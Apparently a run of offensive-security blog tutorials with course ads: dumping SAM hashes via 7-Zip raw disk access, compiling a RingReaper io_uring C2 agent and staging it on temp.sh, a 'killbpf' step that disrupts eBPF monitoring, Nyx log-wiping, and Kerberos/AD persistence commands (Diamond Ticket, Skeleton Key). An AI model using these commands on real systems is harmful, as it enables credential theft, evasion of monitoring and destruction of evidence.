The article on DeadMatter was really popular and relevant for many of you. DeadMatter works with LSASS and finds artifacts related to active or recently active sessions. But sometimes you need SAM hashes during a pentest.
Today we’re using 7z to find and pull the hives. It’s very common to find and it has raw disk access to fetch what we need without triggering the EDR. You can basically call it a living off the land technique due to its widespread presence. There are other ways to extract hashes, but most of them are well known and monitored. Some hackers rely on VSS and it works fine in some environments, but detecting VSS abuse isn’t hard. It’s a beginner level of complexity. VSS leaves very specific traces in the logs when you use it. Native Windows binaries get blocked outright and finding forensic tools already sitting on an endpoint is uncommon.
Credit where it’s due, Jonas Lyk shared this approach.
Extracting Hives
To make it work, you need to start 7z as Administrator, otherwise it just fails. Then you type \\.\ in the path bar and it’ll show you the drives.
Here we need PhysicalDrive0. You can’t copy it off the C:\ drive, because it’s locked by the system.
Inside you’ll see the partitions on the physical drive. Usually 1.ntfs has the structure of your C:\. 0.ntfs has $MFT, $J and the other files you want for a deeper dive.
System hives live in Windows\System32\config
Select the hives you need and copy them to a folder. We’re only pulling SAM and SYSTEM here, but you can get SOFTWARE, $MFT, $J, and NTUSER.DAT if you’re doing behavioral analysis. We covered that in our article showing how much you can find out about a user after a compromise. Behavioral analysis is also useful in pentesting. NTUSER.DAT shows a lot about how the sysadmins use their machines.
File size shows the hives aren’t empty. Now we can move them to Kali and extract the hashes.
kali > impacket-secretsdump -sam SAM -system SYSTEM LOCAL
We got all the local user hashes. If LAPS isn’t enabled (in a lot of environments it isn’t), there’s a good chance the admin hash is identical across many machines. Some admins don’t even know LAPS exists, others are scared to turn it on because they’re not in control of the password rotation. Either way, SAM alone can be enough to compromise the whole domain.
Terminal
This approach hits a wall in the terminal. 7z can only parse physical disks and NTFS partitions through the File Manager GUI. The CLI version still can’t open nested partitions and throws an error every time. So the GUI is the only way you can pull it off.
There are forensics tools that do it in the terminal (AxiomSecret, RawCopy, etc.) but that’s a story for another day.
Summary
Many successful attacks use LOL techniques or signed tools. This approach is creative and 7z is already sitting on plenty of machines. Even if it’s not, bringing it over isn’t suspicious.
It won’t get you LSASS hashes, but the SAM hashes alone can be enough to compromise a company’s entire infrastructure. We showed that in our SCADA article, where the SCADA machine stored cleartext passwords in memory and password reuse helped us with the rest of the infrastructure during the pentest. LAPS isn’t hard to set up and it can close this door, so spend some time learning it.
If you like what we’re doing here and want to get started in Digital Forensics or advance your skills, we recommend our training for both beginners and more experienced students.
Finding an EDR on a Linux machine is common when working with organizations that take cybersecurity seriously. While many associate EDR platforms with Windows, modern Linux deployments are often monitored as well. Evading an EDR is almost an art form. It requires a deep understanding of operating systems, system internals, and how security products actually collect telemetry. Most EDR products are designed around visibility. They monitor processes, file access, network connections, privilege escalation attempts, and many other activities that could indicate bad behavior. A simple example might be accessing sensitive files, attempting to connect to suspicious external infrastructure, or spawning unusual child processes. These actions generate events that security products can inspect and correlate.
Over the years, researchers have demonstrated many different methods for bypassing or reducing EDR visibility. Some techniques abuse trusted binaries. Others use kernel vulnerabilities or weaknesses in monitoring logic. Today, however, we are going to look at a different approach involving a Linux feature called io_uring. Using this technique, it becomes possible to perform reconnaissance, transfer files, establish C2 communications, and execute commands while generating significantly fewer events.
The technique we will discuss today was developed by MatheuZSecurity.
Bypassing EDR
Introduced in Linux kernel 5.1, io_uring was designed to improve the performance of I/O operations. Instead of repeatedly interacting with the kernel through traditional system calls, applications can place requests into a shared queue. The kernel processes those requests and returns the results. Applications can submit many operations at once rather than making separate calls for every read, write, file access, or network action. This becomes interesting from a security perspective because many EDR products monitor these activities. These events are often collected through hooks, audit frameworks or eBPF.
With io_uring, many operations can be submitted and handled through a different execution model. Instead of repeatedly calling functions, requests are processed through io_uring, generating fewer observable events.
This does not make activity invisible, it just reduces the visibility of EDR. But modern security products are trying to improve their ability to monitor io_uring now. However, because it can reduce traditional syscall visibility, it has become an area of growing interest for hackers.
Setting Up
To test the concept ourselves, we first need to set up the environment. Let’s download the project and install the required dependency.
kali > git clone https://github.com/MatheuZSecurity/RingReaper
kali > cd RingReaper
kali > sudo apt install liburing-dev -y
By default, Kali Linux does not include the required development library, so we need to install it before compiling the project.
After that, open the agent.c file and update the IP address to point to your Kali machine. This is the address the agent will connect back to once it is executed on the target system. That is the only modification required.
Once the IP address has been updated, compile the project and upload it to a temporary hosting service.
kali > gcc agent.c -o agent -luring -O2 -s -static
kali > curl -F "file=@agent" https://temp.sh/upload
After the upload completes, you will receive a URL that can be used to download the binary.
Connecting to C2
First we need to start our server.py on Kali.
kali > python3 server.py --ip 192.168.131.7 --port 443
With the binary uploaded, we can move to the target machine. Replace the URL in the following command with the link generated during the upload process and execute it.
The command downloads the executable, stores it locally, adjusts permissions, and launches it. If everything works correctly, the connection should appear immediately.
When operating inside a monitored environment, less activity usually means less risk. The less noise you generate, the less likely you are to attract attention.
Running Commands
Now we arrive at the interesting part. Once connected, start by running the help command to display the available functionality.
The command set is intentionally small, but it covers most of the tasks that you would typically need. For example, running the users command shows active sessions.
If necessary, individual sessions can be terminated using the kick command. The privesc command searches for SUID binaries that may be useful for privilege escalation.
You can upload files to the target or retrieve files from the target machine. A common example would be reading .bash_history to see previously executed commands by local users.
Finally, the most interesting command is killbpf.
Many security tools including Falco, Sysdig, Elastic Defend, Tetragon, and many other monitoring platforms rely on eBPF to achieve deep kernel visibility. eBPF allows security products to observe process activity, system calls, network events, and many other behaviors without requiring traditional kernel modules.
The killbpf command attempts to disrupt this. It removes content from /sys/fs/bpf, which is the virtual filesystem commonly used to store pinned eBPF programs and maps. These maps act as shared data structures that allow eBPF programs and user-space applications to exchange information. When those components are removed or disrupted, security tools may lose visibility into system activity. In addition, the command attempts to identify and terminate processes actively interacting with eBPF maps. Disrupting them can interfere with security monitoring.
Below you can see the tool working alongside TrendMicro.
Source: MatheuZSecurity
Summary
This agent shows how a legitimate Linux feature can be repurposed in unexpected ways. io_uring was created to improve performance and efficiency. Its purpose was never to bypass security products. However, as we have seen many times throughout cybersecurity history, legitimate technologies often become useful tools for hackers as well.
If you want to take your Linux knowledge to the next level, we offer Advanced Linux for Hackers training designed for both red and blue teams. The course will help you develop the advanced Linux skills needed for penetration testing, incident response, digital forensics, and other security tasks. Since many offensive and defensive techniques rely on a solid understanding of the operating system, these skills will let you troubleshoot complex environments.
During red team engagements, we often have to deal with the logs that different operating systems store. Every action can leave behind digital evidence. That evidence is exactly what blue teams and digital forensics investigators rely on when reconstructing an attack.
Sometimes, however, a red team engagement is meant to simulate an adversary as realistically as possible. Hackers frequently attempt to hide what they did by erasing evidence of their activity or altering forensic artifacts to make investigations more difficult. If we want to accurately evaluate an organization’s ability to detect sophisticated intrusions, we also need to test how well it responds when an attacker attempts to remove those traces. There are different tools that exist that help reduce your footprint. For instance, HackShell, which we covered in one of our previous articles, makes Bash much stealthier, minimizing command history and improving OPSEC.
But it does not help with removing all forensic traces that already exist throughout the operating system.
There is a different tool that focuses specifically on that task called Nyx.
What is Nyx
Nyx is a self-contained script for cleaning forensic traces on Linux, macOS, and Windows. The scripts walk through a predefined collection of forensic artifacts and remove or clean evidence that may have been generated during system usage.
Of course, no anti-forensics tool can guarantee that every trace of activity disappears. Modern enterprise environments often collect telemetry from many different sources including endpoint detection products, centralized log servers, network monitoring systems, cloud services, and backup solutions. Even if local artifacts are modified or deleted, evidence may still exist elsewhere. Nevertheless, Nyx has techniques that sophisticated hackers may attempt after achieving access to a system.
Below is only a portion of the Linux artifacts that Nyx targets. The complete list is considerably larger. Among the supported modules are shell history files, authentication logs, system logs, audit records, network-related artifacts, user activity, temporary files, and many other forensic traces that investigators commonly examine during an incident response investigation.
Since a significant portion of today’s infrastructure runs on Linux, the script includes modules that focus on the forensic artifacts generated by Linux servers and the services they host.
Windows typically runs less server infrastructure than Linux, so the list is somewhat shorter. Even so, Nyx still targets several important sources of forensic evidence, including Windows Event Logs, PowerShell history, registry-related security artifacts, and various other traces that investigators commonly analyze after a compromise.
Finally, macOS also receives attention with its own collection of supported forensic artifacts. Although the list is smaller than Linux, Nyx still includes modules designed to clean several sources of evidence that may reveal user or system activity.
Cleaning Forensic Evidence on Windows
Now we are ready to test the script and see how it works. There are several different ways you can execute it depending on your objective and your environment.
We will begin with Windows. Before actually cleaning anything, it is a good idea to start with -DryRun. This will show exactly what Nyx plans to clean without making any modifications to the system.
Although the output reports the items that would be cleaned, nothing has actually been removed. The dry run simply shows the actions that Nyx intends to perform.
Let’s clean them now.
PS > .\nyx.ps1
At this point, Nyx begins processing its configured modules and attempts to remove the supported forensic artifacts from the local system.
The same thing can also be achieved through in-memory execution without writing the script to disk first. Running tools directly from memory is a common technique used by hackers because it reduces the number of files written to the filesystem. However, that does not automatically mean antivirus or endpoint detection products will ignore the activity. Modern security products monitor far more than just files stored on disk. They also observe process behavior, PowerShell activity, AMSI events, command-line arguments, parent-child process relationships, memory behavior, and many other indicators.
If needed, you can force execution without waiting for a confirmation prompt by adding the -Force flag. Useful when automating execution across multiple systems with PsExec.
Cleaning Forensic Evidence on Linux
Just as with Windows, it is often a good idea to begin by reviewing what the script intends to do before actually modifying the system.
If necessary, you can repeat the same process by listing the modules that will be used with the -n flag.
bash# > bash nyx.sh -n
As you can see, it goes through multiple modules, including those related to IoT Smart Home devices, cryptocurrency artifacts, IDS and IPS logs, network traces, and many additional categories. This broad coverage also means that privacy-conscious users who want to remove unnecessary traces from their own systems may also find parts of the project useful, provided they understand what information is being deleted.
Summary
Instead of manually searching for dozens of log files, Nyx can speed up this process. It shows why centralized logging, endpoint monitoring and multiple layers of telemetry are so important. Even if a hacker succeeds in cleaning local artifacts, independent security systems may still preserve the evidence needed to detect and investigate the intrusion.
If you want to go deeper into how privacy can be preserved on real systems and how forensic traces are created and analyzed, our Anti-Forensics training is your next step. We covered advanced techniques for preserving your privacy and understanding what investigators can still see even when you think you have covered your tracks.
One of the biggest misconceptions beginners have about hacking is the idea that gaining access is the final objective. Imagine spending days crafting payloads, bypassing antivirus protections, evading EDR solutions, phishing credentials, and finally landing a working beacon inside a target environment. Everything works perfectly. Then the user reboots the machine and your session disappears. Maybe the IT department pushes a patch. Maybe passwords get rotated overnight. Maybe your process crashes. Just like that, your foothold is gone and all the work leading up to it disappears with it.
This is why persistence matters so much in red team work and cyber espionage. Advanced threat groups build layers of access designed to survive disruptions, investigations, credential changes, and even defensive cleanup attempts. If one persistence mechanism fails, there is another one.
Groups such as Lazarus Group, Cozy Bear, Volt Typhoon, Salt Typhoon, and Turla invest heavily in persistence techniques because maintaining access is valuable.
The defensive side of this topic is equally important. Blue teams, SOC analysts, DFIR investigators, and threat hunters need to understand persistence because these are exactly the tricks attackers use to maintain long-term access. If defenders only focus on initial compromise indicators, they may completely miss the mechanisms keeping attackers alive inside the environment. Persistence techniques are often subtle, deeply integrated into operating systems, and designed to blend into normal administrative activity.
Today we are going to explore The Art of Staying In by DbgMan.
The Art of Staying In
The Art of Staying In is one of the most comprehensive persistence guides available. The guide covers persistence across Windows, Linux, macOS, Active Directory and cloud environments. Topics range from Windows Registry persistence and Scheduled Tasks to WMI Event Subscriptions, Services, DLL Hijacking, COM Hijacking, UEFI bootkits, Azure AD abuse, AWS IAM persistence, and GCP persistence mechanisms.
The guide also maps techniques to the MITRE ATT&CK framework under TA0003 Persistence and explains how real APT groups use these techniques during operations. One of the strongest aspects of the guide is that it does not only show the offensive side. It also discusses OPSEC considerations, detection opportunities, and practical tradecraft.
We are not going to cover every persistence mechanism discussed in the guide because that would require an entire book by itself. Instead, we will focus on several particularly interesting Active Directory persistence techniques that demonstrate how modern hackers maintain access inside enterprise environments.
Active Directory Persistence
One of the most important areas of persistence today is Active Directory persistence. In enterprise environments, Active Directory becomes the nervous system of the organization. Whoever controls Active Directory often controls the entire infrastructure.
Linux persistence is also important, but we already demonstrated some of its techniques in previous articles.
There are many persistence techniques in Active Directory, and we are not going to revisit the classic Golden Ticket and Silver Ticket attacks in detail since they are already widely known. Instead, we will focus on several less commonly discussed persistence mechanisms that are relevant.
Diamond Ticket
A Diamond Ticket is an advanced Kerberos persistence technique that improves upon the traditional Golden Ticket approach.
To understand why it is stealthier, we first need to briefly understand how Kerberos works. In Active Directory, users authenticate through the Key Distribution Center, commonly called the KDC. During authentication, the KDC issues a Ticket Granting Ticket, or TGT, which later allows the user to request access to services across the domain.
A Golden Ticket is fully forged from scratch. The hacker creates an artificial TGT without ever legitimately communicating with the KDC. It’s detected because defenders can sometimes identify TGTs that were never preceded by legitimate authentication requests.
A Diamond Ticket works differently. Instead of fully forging the ticket, the hacker first obtains a legitimate TGT from the real KDC. The hacker then decrypts the ticket using the KRBTGT account hash, modifies the Privilege Attribute Certificate, commonly called the PAC, injects elevated privileges, and re-encrypts the ticket before using it. Because the ticket originates from a legitimate Kerberos flow, it blends in much more naturally with normal authentication traffic.
For this attack we will use both Mimikatz and Rubeus. Keep in mind that this attack requires Domain Admin privileges or equivalent replication rights.
The first step is obtaining the KRBTGT AES256 key. We can retrieve the hash using the DCSync attack in Mimikatz.
After scrolling through the output, you will eventually locate the aes256_hmac entry. That is the value we need.
Next we move to Rubeus.
Rubeus.exe diamond /krbkey:<KRBTGT_AES256> /user:lowpriv /password:P@ssw0rd123 /enctype:aes256 /ticketuser:Administrator /domain:domain.local /ticketuserid:500 /groups:512,519 /ldap /opsec /nowrap
# add /output:admin.kirbi if you need it
This command requests a legitimate TGT for the lowpriv user, modifies it, and injects elevated privileges associated with the Administrator account and highly privileged domain groups. You will notice two Base64 blobs displayed on the screen. The second blob is the one you need. If you prefer working directly from Windows, adding the /ptt parameter will inject the ticket directly into the current session.
If you want to use the ticket from Linux, you can decode and convert it into a Kerberos credential cache.
kali > echo "BASE64" | base64 -d > lowpriv.kirbi
kali > impacket-ticketConverter lowpriv.kirbi lowpriv.ccache
kali > export KRB5CCNAME=lowpriv.ccache
kali > nxc smb domain.local --use-kcache
Once the ccache file is loaded, tools from the Impacket or NetExec can authenticate using the injected Kerberos ticket without requiring plaintext credentials.
Sapphire Tickets
A Sapphire Ticket is considered one of the most advanced Kerberos abuse techniques currently discussed publicly. Instead of forging PAC information, the attacker extracts the legitimate PAC from a privileged user through S4U delegation functionality and embeds that authentic PAC into a modified ticket. Traditional forged tickets contain artificial PAC data created by the hacker. Sapphire Tickets instead reuse legitimate authorization data generated by the domain itself. As a result, the ticket appears far more authentic during validation checks.
Even Microsoft’s PAC hardening efforts introduced in recent years did not completely eliminate this technique because the PAC itself remains legitimate.
Tickets like these are commonly valid for around ten hours by default because they inherit normal Kerberos lifetime settings. While it is technically possible to extend ticket lifetimes, doing so is usually not a good OPSEC decision. Long-lived tickets can stand out during investigations and anomaly hunting.
Detection becomes significantly harder because nearly every component of the ticket originates from real domain-generated data.
DCShadow
DCShadow is one of the Active Directory persistence techniques that abuses the very replication mechanisms Active Directory depends on internally. Normally, Domain Controllers replicate changes between each other automatically. Security monitoring solutions often trust this replication traffic because it is considered legitimate domain behavior.
The hackers temporarily registers a rogue machine as a fake Domain Controller and pushes arbitrary changes into Active Directory through replication protocols. Since the modifications appear to originate from legitimate DC replication activity, many standard logging mechanisms either miss the activity entirely or fail to generate alerts.
This attack requires Domain Admin privileges.
For the setup, we will need two separate administrative shells. One shell needs to run as NT AUTHORITY\SYSTEM because some replication operations must originate from the computer account context. The second shell will be a Domain Admin PowerShell session.
Once the push completes, the user becomes a member of Domain Admins through replication-based manipulation.
Defenders often focus heavily on authentication logs and endpoint alerts while overlooking replication-layer abuse. In mature environments, this technique can be difficult to investigate if replication monitoring is not configured properly.
DSRM Account Backdoor
Every Domain Controller contains a local Directory Services Restore Mode administrator account, commonly called the DSRM account.
This account acts as a break-glass recovery mechanism for restoring or repairing Active Directory services. During Domain Controller promotion, administrators set the DSRM password once and then frequently forget about it entirely. In many environments, the password remains unchanged for years. By default, the DSRM account cannot normally authenticate over the network while the domain is operating normally. However, a registry modification can change that behavior.
First, we connect to the Domain Controller and dump the local SAM database.
After modifying the registry value, the DSRM account can authenticate remotely even while Active Directory is fully operational.
Skeleton Key
Skeleton Key is another classic but still interesting persistence technique.
Instead of modifying Kerberos tickets or replication data, Skeleton Key patches LSASS memory directly on the Domain Controller. Once patched, the Domain Controller accepts a universal master password for every domain account while still continuing to accept users’ legitimate passwords normally. From the users’ perspective, nothing appears broken. Everyone continues logging in as usual. Meanwhile, the hacker gains the ability to authenticate as any user using the injected master password.
By default, the password used by Mimikatz for Skeleton Key is mimikatz.
The major limitation of Skeleton Key is that it exists only in memory. Rebooting the Domain Controller removes the patch unless the hacker has another persistence mechanism ready to reapply it automatically.
Other Persistence Methods
There are many additional persistence mechanisms inside Active Directory that deserve exploration. Techniques such as AdminSDHolder abuse, DCSync persistence, SID History injection, malicious Group Policy modifications, rogue certificates, shadow credentials, and ACL backdoors all provide different ways to maintain long-term access. Some persistence mechanisms survive password changes. Others survive operating system reinstalls. Some operate at firmware or bootloader level and remain active even after defenders believe systems were fully cleaned.
Hackers don’t rely on one method. They layer persistence strategically.
OPSEC
Persistence is about maintaining access without drawing attention. Some persistence mechanisms are intentionally sacrificial. They exist to distract defenders while more stealthy footholds remain hidden deeper in the environment. Others function as emergency backup access in case primary infrastructure fails.
Good hackers also think carefully about timing, ticket lifetimes, authentication frequency, endpoint visibility, and how blue teams actually investigate incidents. A persistence mechanism that technically works but constantly generates suspicious logs is often more dangerous to the hacker than useful.
APT Case Studies
The guide includes multiple APT case studies that demonstrate how real threat actors maintain persistence during long-term operations. Studying persistence from both offensive and defensive viewpoints helps build a much deeper understanding of how enterprise compromises actually unfold over time.
Summary
Persistence is one of the defining characteristics of advanced offensive operations. Initial compromise may get attackers into an environment, but persistence is what allows them to remain there long enough to achieve strategic objectives.
Modern persistence techniques have evolved far beyond simple startup folder payloads and registry run keys. Today’s hackers manipulate Kerberos internals, abuse Active Directory replication, patch authentication processes in memory, hijack recovery accounts and leverage legitimate administrative functionality to blend into enterprise traffic.
If you like what we’re doing here, check out our Cyberwarrior Path training. It’s a comprehensive three-year program. We dive deep into the technology, how it works, and how to break it. There are many courses available in this training program. Complete the program, and you’ll graduate as a certified Cyberwarrior.
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